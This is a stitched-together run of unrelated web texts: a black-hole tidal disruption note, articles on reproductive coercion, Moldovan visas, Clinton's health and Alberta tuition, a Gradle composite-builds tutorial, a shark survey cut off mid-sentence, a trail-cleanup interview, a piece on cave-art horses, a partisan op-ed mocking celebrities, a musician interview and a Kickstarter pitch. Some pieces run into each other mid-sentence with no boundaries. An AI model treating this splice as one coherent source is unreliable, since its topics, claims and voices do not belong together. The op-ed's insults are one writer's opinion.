Tagged with: 50 Days of PS VR, holoball, pong, PSVR, Tron, ViveWhen an object passes close to a black hole, it experiences tremendous tidal forces compressing and stretching it, capable of tearing it completely apart.
The parts closest to the black hole experience the greatest gravitational force, fragmenting the object in a tidal disruption event (TDE).
Although most of the matter gets ejected, some gets accelerated towards the black hole, where it heats up, causing an intense emission of X-rays.
Normally lasting weeks or months, a new record has just been set for TDEs. XJ1500+0154, 1.8 billion light years away, is the largest, longest-lasting one ever seen.
First detected in July of 2005, the X-rays from this distant source brightened by a factor of 100 over 3 years. They remain bright even today.
Although dozens of TDEs have been observed since the 1990s, none have lasted this long. It may be caused by the most massive star ever observed creating a TDE.
Chandra's incredible X-ray eyes can pinpoint this emission to the galaxy's center: where its supermassive black hole lives.
This accretion rate is beyond the Eddington limit -- the first such observation -- and may explain the rapid growth of supermassive black holes.
Mostly Mute Monday tells a unique story of our Universe in pictures, visuals and no more than 200 words.It wasn’t really much of a choice for her. Her boyfriend said, “If I find out you have an abortion, I’m gonna kill you.” She was 18, had just gotten into college on a full scholarship and didn’t want to have a baby.
She did have the baby. Her boyfriend attended the delivery against her will and she ran away from him a few days after the birth. Unfortunately, her story is not that unusual.
“Women with a history of intimate partner violence (IPV) are also likely to experience male reproductive control,” says Ann Moore, senior research associate at the Guttmacher Institute. “Male reproductive control is a form of intimate partner violence that has traditionally not been an area that we define as a type of abuse.”
She looked at the woman who was forced to have a baby as part of a study of IPV [PDF]. It defined male reproductive control as when a woman’s partner imposes his reproductive intentions on her through intimidation, threats or actual violence. That also includes women who want to have children but are threatened with violence if they do not terminate their pregnancies.
One woman in the study was warned, “If you don’t get it done, I’m throwing you down the steps …” That 21-year old woman thought, “If it doesn’t get done [by a doctor], he’s going to do it, and I don’t want that to be done.” She got an abortion even though it wasn’t her choice.
Women who are coerced into abortions are the ones anti-choice forces have seized upon in their drive to restrict abortions out of existence, but they shift the blame from abusive and controlling men to abortion providers. “They have tried to paint a picture of abortion providers as trying to coerce women into having abortions. There is no evidence of that occurring,” says Stephanie Toti, staff attorney in the U.S. Legal Program at the Center for Reproductive Rights.
Several states have tried to require signs in reproductive care clinics that read, “No one can coerce you to have an abortion.” While this doesn’t sound bad it could have consequences that aren’t immediately apparent. Signage laws fail to address abusive husbands, boyfriends or others who would still be able to threaten physical harm to women who insist on having abortions. These laws also fail to criminalize the act of forcing a woman to give birth.
Women don’t need signs. They need practical solutions that address real problems, not the myths created by the anti-choice forces. We have a responsibility to help women who find themselves in these coercive relationships. Any ideas of what to do?
Image courtesy of http://www.flickr.com/photos/tristaemlet/4089225446/.
DOMESTIC VIOLENCE AND REPRODUCTIVE CONTROLQuiz: What Do You Know About Moldova? Start the quiz to find out! Start Quiz
With reporting by Hotnews.ro and RFE/RL Brussels correspondent Rikard Jozwiak
BRUSSELS -- The European Commission has recommended the lifting of visa requirements for Moldovan citizens entering the European Union who hold biometric passports.The move would allow Moldovans to travel to the EU without a visa for 90 days.The announcement was made by Commission President Jose Manuel Barroso at the end of a trilateral meeting with the Moldovan and the Romanian prime ministers, Iurie Leanca and Victor Ponta.European Council President Herman Van Rompuy later told a joint news conference in Brussels with Leanca that Moldova has fulfilled the criteria for the visa-free travel."[Regarding] visas, I reaffirmed the European Union's commitment to the shared objective of visa free travel in due course now that Moldova has fulfilled all the benchmarks of the visa-liberalization action plan," Van Rompuy said.Leanca called the move "extremely good news" for Moldova."Of course the statement made earlier by President Barroso and reiterated by you [Van Rompuy] -- that the result of the report of the commission clearly indicates that Moldova meets the benchmarks on the visa action plan and that the European Commission will propose to the European Parliament and the European Council to examine the possibility of lifting the visa requirement for short stay for Moldovan citizens -- is an extremely important development and extremely good news for Moldovan society and Moldovan citizens," Leanca said.The commission will present legislation on the issue after the Eastern Partnership summit in Vilnius at the end of November, but both the European Parliament and EU member states must approve it before it comes into force.The EU executive body also said that Ukraine has made progress toward visa liberalization but that Kyiv needs to do more to provide legal protection against discrimination and in the field of asylum.Georgia was praised for making progress but is still said to be some way short of getting a visa-free regime with the EU.Asked whether EU members Romania and Bulgaria will join the passport-free Schengen travel area in 2014, Barroso said he could not offer a precise date for accession.Barroso said the commission backed the two countries' accession into Schengen, but a final decision depended on each and every EU member state.Hillary Clinton's campaign plans to release more information throughout the day about the candidate's health. | AP Photo Clinton's doctor declares her 'fit to serve' as president
NEW YORK — Hillary Clinton’s campaign on Wednesday released more information about her health that depicted her as a healthy 68-year-old woman with low cholesterol (without taking a statin) and seasonal allergies. She also takes a thyroid medication, and as the campaign has previously disclosed, she takes a blood thinner, Coumadin.
A letter from her physician, Dr. Lisa Bardack — released in a move designed to reassure voters just days after she was diagnosed with pneumonia — declares that Clinton "continues to remain healthy and fit to serve as President of the United States."
Story Continued Below
The letter from Bardack describes how the Democratic nominee received a non-contrast chest CT scan on Friday, said a Clinton campaign official. The scan revealed a small right middle-lobe pneumonia, which was non-contagious and bacterial. She was treated with Levaquin, and instructed to stay on it for 10 days, the campaign said. Clinton was up to date on her pneumonia vaccines — but they don’t prevent all infections.
Bardack's letter also reveals that Clinton was treated for symptoms of sinusitis and an ear infection in January. She had a tube placed in her left ear that month, which eased her symptoms, wrote Bardack.
The additional disclosure comes just days after Clinton overheated and became dehydrated at Sunday's 9/11 memorial ceremony in New York, which led to the campaign’s eventual announcement that she had been diagnosed with pneumonia on Friday. She then scrapped a West Coast fundraising and campaign trip for this week so she could rest, sending former president Bill Clinton in her stead.
Clinton had for months been battling rumors circulated by Donald Trump supporters about the status of her health, many of which were fanned by Trump himself claiming she didn’t have the “stamina” to serve as president.
The rumors of her ill health escalated enough by late summer that her campaign put out a letter from Bardack renewing her proclamation of Clinton’s health.
And as the campaign released Clinton's information on Wednesday, it sought to turn the tables on Trump: a pop-up message on the campaign's landing page for the medical information declared, "It's outrageous that Donald Trump hasn't met basic transparency standards with his medical records and tax returns."
In the wake of Clinton’s pneumonia diagnosis disclosure — which punctuated a weekend in which a widely-circulated video showed her struggling to stay up straight and being helped into her van on Sunday morning — Trump pledged to release some version of his own health records, eventually filming a segment on the Dr. Oz show on Wednesday to reveal details of his health.
There, according to audience members who saw the taping of the show that’s scheduled to air on Thursday, the Republican nominee said he wanted to lose 15 to 20 pounds. (Conflicting reports had his weight at 236 or 267 pounds, which would make him at least overweight, possibly obese, according to BMI standards.) Yet his campaign has not said how or exactly when he plans to release more of his medical history.
Clinton’s campaign also released the medical information of her running mate, Virginia Sen. Tim Kaine.
Joanne Kenen and Sarah Karlin-Smith contributed to this report.International students at the University of Alberta are facing another tuition hike, leading some to believe they are being targeted unfairly.
The university’s board of governors will vote next month on a proposed five percent jump in the amount paid by foreign students, which would increase tuition between $900 and $1,600.
Advanced Education Minister Thomas Lukaszuk denies the province is taking advantage of foreign students. (CBC )
“We are sort of the cash cows for the university,” said Rabib Alam, a second-year engineering student from Bangladesh.
Alam wouldn’t be as concerned if Canadian students faced a similar increase, but they don’t, because the amounts are regulated by the province.
“That would be fine, acceptable, but just using us, exploiting us like that, is very, very wrong,” Alam said.
Advanced Education Minister Thomas Lukaszuk denies the province is taking advantage of international students.
He says Alberta values the people who come here to study..
“We want them to be over here but we charge them competitive prices that are reflective of the costs. I appreciate that they are subject to fluctuations,” Lukaszuk said.
“Currency exchange is a matter, any increases matter, but that is the cost.”
The university's board of governors will vote on the tuition hike on Dec.13.For a basic understanding of what Gradle is I recommend you read this Introduction to Gradle first.
At some point in your developer career, you will come across a situation where you would like to share code between two or more apps. It could be some utility methods or a super cool annotation-based database library and you might even want to share it with the community by open sourcing this piece of well crafted code.
When we have some common code to share between apps, the way to do it is to build a Java library (.jar file) if it has nothing to do with Android or as an Android library if it does (.aar file). That way, our code is written once and can be reused easily. To share our code as a library we have two different ways.
One big project with submodules
We will start to separate the code that is meant to be a library by putting it in its own module. Let’s suppose we have a project called client1 and a library called sdk
This project structure in IntelliJ will look like this:
The dependency between client1 and sdk is defined by a Gradle Dependency to another local project (a.k.a. module) in client1 to sdk:
group 'il.co.galex' version '0.0.1'... dependencies { testCompile group: 'junit', name: 'junit', version: '4.12' compile project ( ':sdk' ) // local dependency to the module named "sdk" }
If we have multiple clients which share our sdk we will create them as we created client1 with the same dependency to sdk, side by side:
The biggest advantage here is that you can very quickly make a change on sdk and run immediately client1. You can see those two modules side by side under the same project, and all its code is right in front of you.
This way of organizing our code is good enough when:
You are the sole developer in your company
All clients need to be maintained forever and you are 100% sure about this
You don’t develop an SDK you need to share with other companies
You don’t plan to share any part of your project via open source
This could be good enough for a while but to get more flexibility in your day to day workflow the next step is to have multiple projects.
You should know there’s an option to use git submodules (or svn externals) to share modules between projects at the VCS level. This is a valid solution but it is not as comfortable as having multiple projects. I find this solution quite inconvenient especially when you use branching very often.
Multiple projects
Every module we had before (client1 and sdk) will move in its own project:
We will declare a Gradle Dependency to sdk in the same manner as we add any 3rd-party library:
dependencies { compile "il.co.galex:sdk:0.0.1" // external library }
But let’s see what is really happening when you synchronize Gradle after you added this dependency:
The client1 project needs to get the built sdk library from somewhere. This somewhere is called a Maven repository and it can be on your local machine, on a distant one like jCenter or a Mvn Repository or a private Artifactory behind a VPN.
To learn about how we to deploy a library to a Maven Repository, check this Gradle Publish Plugin.
This structure has two big advantages over one big repository:
Proper control versioning : Having separate projects means you get a complete overview of the commits per project. It is easier to see what was changed and it is so much easier to work with branching when needed.
Proper library versioning: When working on client1 and upgrading the sdk to a new version by adding a new feature, we will have to deploy a new version to our Maven Repository. This means we are not obligated to upgrade right now any other project so we can better focus on our current task.
This organization has one main problem: the development workflow. If we leave ourselves with a client1 and an sdk this is what is going to happen every time we will make a change in the sdk:
To resolve this issue we usually build a testapp. We’ll add a module called testapp in our sdk project so we can run our library in a client built just for the sake of running the sdk. It’s a nice solution, as if we had to develop an new UI component on Android, we could add it in a screen multiple times in different sizes to check that it behaves correctly. This way of testing our sdk was the best we had for a long time, but now we have a better solution!
Why not both?
Composite Builds is a new feature (added in Gradle since version 3.5) which allows us to override an external dependency with a local one, depending on OUR terms. Sweet! Let’s see how it works.
In a project with a client named comp-client in its own project and a library named comp-sdk in its own project as well and an external dependency from comp-client to comp-sdk, we will declare the following in the file named settings.gradle inside comp-client:
def sdk = '../comp-sdk' if ( file ( sdk ). exists ()) { includeBuild ( sdk ) }
We make the assumption that the two projects (comp-client and comp-sdk) sit side by side in our file system. We test if comp-sdk is actually there besides comp-client for real, and if so, include that project as a module.
And that’s it! Every change we make in comp-sdk will be compiled and used in comp-client like if those two are regular submodules!
This is BIG. It means we get all advantages of both submodules and multi-projects worlds, together!
This feature looks for a matching name between a module and the artifact id of the external dependency. If it happens that those do not match, you can explicitly define which dependency it replaces:
def sdk = '../comp-sdk' if ( file ( sdk ). exists ()) { includeBuild ( sdk ) { dependencySubstitution { substitute module ( 'il.co.galex:other-art-name' ) with project ( ':' ) } } }
Thanks to the if-condition, if one of our colleagues still prefers the multi-projects setting she/he is free to continue to do so by simply not having comp-sdk be side by side in her/his file system.
The only remaining issue is to not forget to still release a new version of comp-sdk at the end of the day for the people or CI servers who will not use this feature. A nice git-hook could be used to automate the inconvenient workflow of upgrading/deploying/consuming a new version but that’s worth its own blogpost.
Conclusion
Both submodules and multi-projects have pros and cons. Composite Builds are the perfect middle ground. Composite Builds give us the advantages of submodules by having all the code under the same project easily modifiable and quickly runnable. We also get the advantages of multi-projects of versioning and isolation without the perpetual context switching between projects and releasing a version for every small change.
Give it a try and comment here to tell me what you think about it!
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Posted
Three-quarters of people surveyed about the WA Government's policy of a lethal-response following shark bite incidents said they did not support the measure.
The survey questioned 600 people the week after the deaths of Ben Gerring and Doreen Collyer.
Mr Gerring, 29, lost his leg in a shark attack in Mandurah on May 31, and later died in hospital.
Five days later, Ms Collyer, 60, was killed by a shark while diving in Mindarie.
Lead researcher and shark expert Christopher Neff from the University of Sydney said the survey included 100 people each from Mandurah and Mindarie.
The rest were from the federal seat of Perth.
Dr Neff said the results clearly showed most people did not support the WA Government's catch-and |
. One place that was repeatedly mentioned was Triund, a four hour hike from Mcleod Ganj so I decided to take gloves, bags and volunteers up there to see what we could do. This was the start of the Mountain Cleaners.
What are the aims of The Mountain Cleaners?
Provide and promote sustainable waste management systems in India
Provide environmental education and recycling programs in schools and communities
Improve and maintain public spaces
Educate and raise environmental awareness whilst promoting and encouraging civic pride
Promote, sell and use environmentally friendly and recycled products
Provide voluntary, employment and training opportunities
Long term Aims:
To secure funding for a recycling factory in Himachal (other factories to follow)
To run national campaigns throughout India
To set up waste management systems across Indi
What happens to all the garbage that you collect on your trails?
Waste is collected and segregated into two simple categories – recyclable and, non recyclable waste. It is then separated into 10 different categories – plastic bottles, glass, glass bottles, metal, plastic bags, hard plastic, Tetra Pak, paper, cardboard, textiles/shoes. Until 2 days ago we had no storage so the recyclables were passed on to our waste workers and local rag pickers so they could get some extra income. Non recyclable waste goes in the town’s waste container which is emptied at the dumpsite in Dharamsala. In places like Triund plastic bottles make up the largest amount of waste so around 80% is recycled. If all waste was segregated at source we would be able to recycle this much everywhere, food waste reduces recycling potential as well as attracting flies and animals and making the job smelly and dirty. We need to be aware of the waste we generate and start thinking about where it goes!
What are the areas and trails that you cover on your collection drives?
As of now, we cover Triund (a 4-hour hike from McLeodGunj), Guna Devi temple, Kareri Village plus Lake and the Manimahesh Yatra.
Are there other projects you conduct besides garbage collection?
Yes, we organise special activities, mass clean-ups and events in the community and schools to celebrate occassions such as World Environment Day, Earth Day etc. We’ve undertaken several art projects to improve unsightly areas and to convey a Clean n Green message while raising awareness about the importance of “Reduce, Reuse and Recycle”.
We also know that the key to change lies with education. Players from Kings XI Punjab recently attended a painting competition conducted by us. We are enlisting the support of Bollywood stars and cricket players to convey the message that our communities should be clean like our homes.
How do you manage to sustain your initiative? Any challenges that you have faced in accomplishing your goals?
Our projects are funded solely by donations so we can achieve as much as our funds allow. The focus is on affordable solutions for everyone so we try and keep the costs to a minimum. We have been promised full funding for the Manimahesh Yatra 2011 by Holi Bajoli Hydroelectric Project. Last year’s Yatra was funded by the Yatra Committee which is managed by government officials so it’s good to see the government taking responsibility and supporting initiatives such as these.
We did face problems initially. There were a few problems involving registration but now we are about to register as a section 25 company (not for profit). This means that any profits we make we have to spend furthering the aims of our organization, new clean up projects/education, dustbins etc.They drew, sculpted and painted rhinos, mammoths, giant deer and lions, but they also produced illustrations of less exotic beasts, like owls, mustelids and rabbits. Comparisons made with living animals and fossils reveal that these depictions are, on the whole, biologically accurate and often result from informed observation. The greatest concentration of cave art occurs in southern France and northern Spain where horses and bison are the most frequently depicted animals. And today, I’d like to talk about those ancient depictions of horses. They’re fascinating, and seemingly reveal a weird and unexpected amount of variation relative to what we might assume.
The horses concerned are members of the so-called caballoid or caballid or caballine group – the complex of populations that are known variously as Equus caballus (domestic horses and their feral derivatives), E. ferus (tarpans or forest horses) and E. przewalksii (Przewalski’s horses or takhis). Ancient populations of this complex have been given a few other names, including E. lambei and E. lunensis. I will definitely be avoiding any discussion here of caballoid phylogeny or taxonomy since it’s quite messy. The emphasis on horses in Palaeolithic art most likely reflects both their familiarity and their importance in hunting, though their appearance at some places might represent their use as fertility symbols or religious icons. It should be noted that a few Palaeolithic horse images have been identified as depictions of asses or other species but I won’t be discussing those here.
Permafrost horses and what they tell us
Horses depicted in cave art are generally stocky, mostly tan or yellowish with a white belly, and usually shown with a stiff, dark mane*. They thus resemble Przewalski’s horse of modern Mongolia. Corroboratory evidence that Ice Age horses of some populations looked like this comes not only from living wild caballoids but also from the Selerikan horse (or Selerikan pony), a Pleistocene stallion preserved in Siberian permafrost, discovered in 1968, and extensively described in works largely unknown in the west (Guthrie 1990, Ukraintseva 2013).
* It should be noted that not all ancient horses were like this - we have evidence that some Pleistocene horses in North America (and maybe elsewhere) had long, flowing manes. More on that another time. It doesn't affect the mostly European horses discussed here.
The Selerikan horse was initially discovered, entirely by chance, thanks to gold-mining operations: a tunnel happened to coincide with the area of its burial, and its hindlegs protruded from the ceiling. These were used for holding cables and hanging lanterns but were eventually deemed inconvenient so were removed (via the use of explosive powder) and thrown away. Officials at the Siberian Academy of Sciences eventually found out about this discovery and were able to retrieve both the discarded legs and the rest of the body, though the head was not preserved and was presumably removed by predators while the horse was mired (Guthrie 1990). Anyway, its preserved coat shows that it was tan or coffee-coloured in life with a coal black mane and tail and a dark dorsal stripe. Long hairs are present right at the base of its tail, as is typical for caballoids but not for other horse groups.
The Selerikan horse is not unique: several other Siberian permafrost horses are known. Because they tend to be discovered by people busy exploiting the ground for profit, they typically do not get retained for study. What was described as a ‘white horse’ carcass was discovered in the bank of the Yana River in 1878, and a horse containing a full-term embryo was found at Sana Creek in 1950 (some of this specimen, but only some, was saved).
Permafrost caballoid remains have also been recovered from Alaska. The Titaluk River specimen is significant in preserving a good hoof, which is of the broad sort typical for caballoids (other horse groups have narrower hooves). The hoof is especially interesting in having a heavily worn leading edge (suggestive of use in regular digging), but flaring, overgrown lateral edges indicating both a rapid rate of hoof growth and a relatively sedentary lifestyle that did not involve copious walking on abrasive terrain (Guthrie & Stoker 1990). The amount of overgrowth is in fact so marked that it might be assumed to be abnormal were it not for the otherwise normal rate of wear elsewhere, and the normal length of the hoof overall. Guthrie & Stoker (1990) suggested that it is a ‘winter hoof’ and that those lateral areas of excess growth would have broken away during the spring – similar patterns are seen in domestic horses with untrimmed hooves. If so, it supports the idea that horses were able to remain sedentary on the Alaskan North Slope during the Pleistocene, a discovery which is consistent with the idea that the land surface, vegetation and pattern of wind and snowfall here was different from that present during the Holocene.
It isn't yet known how widespread hooves of this sort were among Pleistocene horses. I haven't seen them mentioned in discussions of the Selerikan horse.
Dark faces, beards, stripes and more
Several forest- and plain-dwelling horses related to Przewalski’s horse roamed prehistoric Europe, and differences depicted among those horses shown in cave art probably represent these varieties. Historically, experts on Palaeolithic art put quite some effort into recognising different forms or ‘subspecies’ among these images, the end result being proposals that up to 37 distinct horse forms can be recognised. However, it became obvious as these schemes became ever more elaborate that the vast number of variations seen in pigmentation, proportions, mane form, head shape and so on more reflect the whims, style and abilities of artists more than actual variation in the horses themselves (Bahn & Vertut 1999). But read on.
Some paintings illustrate the horses in their winter coat, with long hair around the jawline and hoofs (Guthrie 2005). A very prominent, dark shaggy beard is shown in a horse at Zubialde Cave in Spain. However, some of the images at Zubialde are definitely recent fakes and there is consequently doubt about various of the remaining images. It has been suggested that these ‘winter’ forms might be preferentially depicted in those places where the art was produced during cold phases (example: the Cave of Niaux, in south-west France), with ‘warm phase’ horses being prevalent (and ‘winter’ ones being absent) in places where the art was made during warm phases (Bahn & Vertut 1999).
The neck regions and faces of horses are sometimes shown as being especially dark relative to the rest of the animal. This is the case in the famous Horse Panel at Chauvet and in some of the Spanish horses depicted at Ekain. Several horses at these locations also reveal a prominent ‘M’-shaped pattern on the side of the body. This seems to represent the line of demarcation between the pale belly and the tan or reddish upper body, the white of the belly extending onto the side of the chest and flank in inverted U-shaped patches.
Sometimes, stripes across the shoulders and/or neck base are shown. This is the case in several of the Lascaux horses – the so-called Chinese horses – where the stripes are thick, fully black and far more prominent that the transverse stripes seen on any modern wild caballoids. These prominent stripes are also present in some (maybe all: it’s hard to say) of the Ekain horses, meaning that we have transverse shoulder stripes depicted together with the prominent lateral ‘M’ [Ekain horse panel shown above: photo by Xabier Eskisabel]. Stripes are depicted on enough occasions that they seem to be a genuine anatomical feature of some European horse populations, though their size and intensity might have been exaggerated by the artists. And it gets better, since some of the Ekain horses also reveal fine, slender stripes on the legs as well as traces of a dorsal midline stripe. These animals must have been quite elaborate – similar overall to Przewalski’s horses, but more elaborately marked. They have that lateral 'M', and shoulder stripes, and leg stripes, and a dorsal, midline stripe and a stiff, erect, dark mane.
Leopard-spotted Pleistocene horses?
And on that note about elaborate appearances... a long-standing mystery is the presence at the Cave of Pech-Merle de Cabrerets, France, of a group of heavily spotted horses that have dark heads and necks. These are the so-called ‘Dappled horses of Pech-Merle’. Such a colour scheme is unknown in wild living horses so it’s often been assumed that the spotting is some sort of artistic decision. Further support for this view comes from the fact that other animal illustrations in the same cave are also shown with a spotted coat. However, Pruvost et al. (2011) found genetic data indicating that some Palaeolithic horses were ‘leopard spotted’ just like some modern domestic breeds, most famously the Appaloosa. They therefore argued that those ancient dappled horse images were accurate after all. The idea that some Pleistocene horses really were so boldly patterned is pretty incredible, but then so is the presence of striping on zebras.
I like the idea of boldly patterned Pleistocene horses and don’t regard it as especially outlandish. However, I admit to remaining somewhat sceptical. As just mentioned, we see evidence that Palaeolithic artists were sometimes putting random spotting on all sorts of things (even on otherwise blank bits of cave wall) and were not necessarily intending those spots to represent zoological accuracy. Furthermore, even if the genes associated with a spotted coat have been discovered in fossil horse DNA, it doesn’t necessarily follow that there’s a direct link between those genes and what’s seen in some cave art.
The majority of Palaeolithic art depicts caballoid horses that looked much like – if not exactly like – the wild horses that survive today on the Asian steppes. And, thanks to the Selerikan horse, we have direct evidence that some Pleistocene horses did indeed look like this. But good, consistent cave art indicates that horses of some populations (subspecies or species?) were more elaborate in appearance, with stripes here and here, and tidily demarcated flank and belly colouring. Were some Pleistocene horses even more elaborate, with spotted coats and heads and necks far darker than those of their bodies? These are exciting concepts that make for a more vivid view of the Pleistocene world, but are they accurate? Maybe, maybe not.
For previous Tet Zoo articles on horses and Pleistocene megafauna, see..
Refs - -
Bahn, P. G. & Vertut, J. 1997. Journey Through the Ice Age. Weidenfeld & Nicolson, London.
Guthrie, R. D. 1990. Frozen Fauna of the Mammoth Steppe: the Story of Blue Babe. The University of Chicago Press, Chicago and London.
-. 2005. The Nature of Paleolithic Art. The University of Chicago Press, Chicago and London.
-. & Stoker, S. 1990. Paleoecological significance of mummified remains of Pleistocene horses from the North Slope of the Brooks Range, Alaska. Arctic 43, 267-274.
Pruvost, M., Bellone, R., Benecke, N., Sandoval-Castellanos, E., Cieslak, M., Kuznetsova, T., Morales-Muñiz, A., O’Connor, T., Reissmann, M., Hofreiter, M. & Ludwig, A. 2011. Genotypes of predomestic horses match phenotypes painted in Paleolithic works of cave art. Proceedings of the National Academy of Sciences 108, 18627-18630.
Ukraintseva, V. V. 2013. The Selerikan horse. In Ukraintseva, V. V. (ed) Mammoths and the Environment. Cambridge, Cambridge University Press, pp. 87-105.Shortly before Pennsylvania was called for Donald Trump giving him the presidency, Canada's immigration website crashed from traffic overload. Apparently, there are a lot of Americans who fear a Trump presidency and are looking for somewhere else to go.
As if Canada would have most of them.
At the top of the list are celebrities who stuck their faces in front of numerous microphones over the last several months saying that if Trump won, they'd leave the country. This was probably the safest way to show just how opposed they were to The Donald. After all, six months ago, only Trumpbots and the mentally defective actually believed the guy could win.
But here we are the day after and dozens of celebrities are desperately hiding, terrified of being confronted by the simple question: Are you going to make good on your word and leave the country?
The Hill has a list of actors and singers who took the pledge to vamoose to the north.
Bryan Cranston said he hopes he doesn’t have to pack his bags, but would “definitely move” if Trump won. “Absolutely, I would definitely move,” the “Breaking Bad” star said on “The Bestseller Experiment” podcast. “It’s not real to me that that would happen. I hope to God it won’t.” Samuel L. Jackson slammed Trump for running a “hate”-filled campaign and said he would move to South Africa if he wins. “If that motherf---er becomes president, I’m moving my black ass to South Africa,” the movie star quipped to Jimmy Kimmel. Lena Dunham told Andy Cohen at the Matrix Awards that “I know a lot of people have been threatening to do this, but I really will. I know a lovely place in Vancouver.” The star and creator of HBO’s “Girls” has been a vocal advocate for Hillary Clinton, the Democratic nominee. Neve Campbell, an actress on the political drama “House of Cards,” vowed to move back home to Canada, while “Orange is the New Black” actress Natasha Lyonne said she would hightail it to a mental hospital.
Ms. Lyonne is, at least, honest. She recognizes where most of her ideological compatriots belong and just wants to get a head start to beat the rush.
Cher tweeted this summer that if Trump gets elected, “I’m moving to Jupiter.” Miley Cyrus wrote in an emotional Instagram post in March that tears were running down her cheek and she was unbelievably scared and sad. “I am moving if he is president,” the young pop star said. “I don’t say things I don’t mean!” Barbara Streisand, a vocal Clinton supporter, told “60 Minutes” that “I’m either coming to your country if you’ll let me in, or Canada.” Ne-Yo told TMZ last month that he’d move to Canada and be neighbors with fellow R&B singer Drake if the country elected Trump. Comedian Amy Schumer said in September that Spain would be her destination of choice. “My act will change because I will need to learn to speak Spanish,” Schumer said in an appearance on the BBC’s “Newsnight.” “Because I will move to Spain or somewhere. It’s beyond my comprehension if Trump won. It’s just too crazy.” Chelsea Handler said she already made contingency plans months ago. “I did buy a house in another country just in case,” the comedian and talk show host said during an appearance on “Live with Kelly and Michael” in May. “So all these people that threaten to leave the country and then don’t — I actually will leave that country.” Former “Daily Show” host Jon Stewart said he would consider “getting in a rocket and going to another planet, because clearly this planet’s gone bonkers” if the real estate mogul wins. Whoopi Goldberg, co-host of the “The View”, said on an episode of the talk show earlier this year that if the country elects Trump, “maybe it’s time for me to move, you know. I can afford to go.”
We better start a "GoFundMe" page for Cher. A trip to Jupiter is at minimum $4 billion. But the great thing about it is that it's a one-way trip, so we won't have to worry about Cher ever showing her bony face on earth again.
Maybe Jon Stewart can tag along with her.
Kudos go out to those celebs who actually prepared for this day by buying a house or property in another country. It wasn't such a stupendous waste of money after all.M. Ward's 'More Rain' Harkens Back to Home and Simpler Times
Photo: Sarah Cass
Published Mar 02, 2016
There's a difference between being a showman and a showboat. For living proof, look no further than M. Ward, who has little patience for social niceties, despite making a career of singing from a stage to adoring crowds. He captures that sentiment beautifully on "Phenomenon," one of the best songs from his new album, More Rain (out March 4 on Merge ) when he sings: "If you can talk to your friends about it / To a stranger it's strictly taboo.""Being on tour, the amount of small talk that you have to go through sometimes drives me crazy. I'm not somebody who goes out of my way to have such interactions," Ward tells Exclaim! "This song comes from a desire to have conversations with people beyond that. Unfortunately, in America, the conversations just seem to be getting dumber and dumber. And I think if someone does speak from the heart about what they really believe in, then they're immediately pigeonholed."Many of Ward's songs harken back to a simpler, more earnest era of songwriting. More Rain's music matches that sentiment. On songs like "Time Won't Wait" and "Little Baby," Ward layers his vocal performances subtly and seamlessly, evoking the Everly Brothers and the Beach Boys. His attention to detail is of an old-fashioned craftsman — he spent four years recording More Rain — which is especially refreshing in an era of rapid, digitized recording sessions."What I love is revision, then starting from scratch and doing it over again," Ward says of his exacting process, adding that More Rain highlight "Girl from Conejo Valley," is a perfect example, because it's 20 years older than the rest of the meticulously made LP. More Rain engineer Mike Mogis (Bright Eyes) knew exactly how to treat the dog-eared tune, infusing it with a synthesizer that whirred and reverberated like Morse Code transmitted through a short circuiting antenna."I'd tried recording it in a few scenarios over the years," Ward says, "but Mike helped me create a new landscape for that song. He's an expert with synthesizers — if you can imagine a sound, he can find it on a keyboard."While Mogis appealed to Ward's geeky sensibility, another recent collaborator pushed him far out of his comfort zone. Last year, during a break from unending More Rain sessions, Ward jumped at the opportunity to produce for legendary gospel songstress Mavis Staples. Released last month, Livin' on a High Note featured songs penned by Neko Case, Nick Cave, Justin Vernon and more. Ward, unsurprisingly, immersed himself in the songs, and although he was technically prepared for the prearranged sessions with Staples, Ward was still taken aback by her recording style."I have a feeling that she may have just listened to a few of these songs," he says with a loving chuckle of the veteran performer's loosely intuitive approach — the starkness between their styles was a surprise. Staples only had a scant couple of days allotted for the sessions — plenty of time for a seasoned pro to knock out her takes, but a skimpy one for Ward, who's long favoured minutia over intuition."She's a talker. I'm definitely more of an introvert. We have a similar love for a lot of the same kinds of music. But it's safe to say we're pretty much opposites."Just as disparate are the end results: Livin' on a High Note and More Rain. The former is a whirlwind one-off with one of his heroes; the latter is a cozy and contemplative return home. That reliable comfort is apparent in More Rain's title track, which features audio of the gentle drizzle that's ever-present in his adopted Portland home. The cover art, meanwhile, is a picture of the aged space heater that Ward uses on those chilly, damp days."When you know you have to spend the day inside, you get the heater going. And a lot of time is spent indoors in Portland which, for me, means time spent working and experimenting with sounds. So that picture seemed like the perfect cover art for the record."Check out More Rain's "Confession" below.How awesome would it be to clean up at the park or beach and rinse off the kids or dogs before they get in the car? That’s exactly why we created RinseKit, its like having a hose to go! RinseKit is the only portable shower to have the pressure of a garden hose without pumping or batteries.
Now with your help, very soon it will also be the ONLY pressurized shower to have a battery-powered heater system that quickly and safely heats water to 100°F - A hot shower anywhere with the flip of a switch!
The RinseKit's patented design simply stores the water pressure from your home for later use. As the water pressure from your hose spigot enters the RinseKit, it compresses the air in the chamber. When you close the valve, that pressure is trapped in the RinseKit and acts like a spring to force the water through the hose and out of the nozzle.
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RinseKit’s patented design can hold the same pressure as a garden hose (55-75 psi) for over a month. When in use, RinseKit can spray for over 5 minutes depending on the nozzle setting.
RinseKits are BPA-free, so they are safe to drink from and you can use its water for cleaning up after cookouts. There are also no moving parts and RinseKit is made of extremely tough virgin PE and ABS plastics. Additionally, RinseKit is made from materials that will not rust, so you don't have to worry about corrosion. it’s extremely durable.
RinseKit has six sprayer nozzle settings and a 6 foot long hose. The detachable lid also acts as a standing pad to rinse off dirty or sandy feet, a cutting board with inch marks for measuring fish and a handy seat. RinseKit can also store wet swimsuits, sunscreen and more under the lid.
Whether you’re cleaning up after hiking, surfing or work, just need to rinse your car or remotely water plants, RinseKit is like having a hose-to-go!
Now you can wash your dog with warm water!
Rinse off little feet after a day on the beach with the family
Clean up after a lunchtime workout so you’re ready for work
Wash the car without the restrictions of a stationary hose
Use while camping as a shower, to rinse off dishes or put out campfires
And much more…
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*Note: bike pump is not included
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Why Kickstarter? We are essentially a start-up company with big dreams. We hope to introduce RinseKit to people who live active lives and love to get dirty. Kickstarter is the perfect platform to reach a diverse group of people that are up on the latest trends and appreciate innovative design. We need help from the Kickstarter community to bring our heater accessory to life. From surfers to parents to dog owners to anyone that gets dirty, RinseKit offers the convenience and versatility to fit into Kickstarter backer’s lives. Thank you for helping to make our dream a reality. We’d love to hear your feedback, so please give us your thoughts in the comments section.
US & International patents and patents pending
